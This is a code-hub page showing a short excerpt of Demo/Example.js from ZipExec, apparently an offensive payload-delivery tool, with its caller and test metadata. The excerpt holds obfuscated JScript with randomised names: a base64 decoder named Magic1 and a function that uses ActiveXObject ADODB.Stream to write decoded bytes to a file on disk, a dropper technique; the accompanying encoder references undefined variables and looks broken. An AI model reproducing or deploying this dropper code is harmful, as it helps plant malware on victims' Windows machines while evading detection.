MCPcopy Create free account
hub / github.com/Tylous/ZipExec / Magic1

Function Magic1

Demo/Example.js:9–9  ·  view source on GitHub ↗
(vzyq)

Source from the content-addressed store, hash-verified

7
8 var csfHXaThb={ THliaqTE:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(xpQYt){ csfHXaThb.THliaqTE;var vzyq="",sqSBCgO=0;do{var VuQPXo=xpQYt.charCodeAt(sqSBCgO++),YGdvVJF=xpQYt.charCodeAt(c++),aMenlF=a.charCodeAt(c++),s=(e=e||0)>>2&63,A=(3&e)<<4|(t=t||0)>>4&15,o=(15&t)<<2|(h=h||0)>>6&3,B=63&h;t?h||(B=64):o=B=64,vzyq+=csfHXaThb.THliaqTE.charAt(s)+csfHXaThb.THliaqTE.charAt(A)+csfHXaThb.THliaqTE.charAt(o)+csfHXaThb.THliaqTE.charAt(B)}while(c<a.length);return vzyq}};
9 function Magic1(vzyq){if(!/^[a-z0-9+/]+={0,2}$/i.test(vzyq)||vzyq.length%4!=0)throw Error("Not csfHXaThb string");for(var t,e,n,o,i,a,f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",h=[],d=0;d<vzyq.length;d+=4)t=(a=f.indexOf(vzyq.charAt(d))<<18|f.indexOf(vzyq.charAt(d+1))<<12|(o=f.indexOf(vzyq.charAt(d+2)))<<6|(i=f.indexOf(vzyq.charAt(d+3))))>>>16&255,e=a>>>8&255,n=255&a,h[d/4]=String.fromCharCode(t,e,n),64==i&&(h[d/4]=String.fromCharCode(t,e)),64==o&&(h[d/4]=String.fromCharCode(t));return vzyq=h.join("")}
10 function SHTAbpslT(CKQiZy,oDVhEwcVUpq)
11 {var csfHXaThbdecoded=Magic1(CKQiZy);var yhGKEtBv=new ActiveXObject('ADODB.Stream');yhGKEtBv.Type=2;yhGKEtBv.charSet='iso-8859-1';yhGKEtBv.Open();yhGKEtBv.WriteText(csfHXaThbdecoded);var TkPLeO=new ActiveXObject('ADODB.Stream');TkPLeO.Type=1;TkPLeO.Open();yhGKEtBv.Position=0;yhGKEtBv.CopyTo(TkPLeO);TkPLeO.SaveToFile(oDVhEwcVUpq,2);TkPLeO.Close()}
12

Callers 1

SHTAbpslTFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected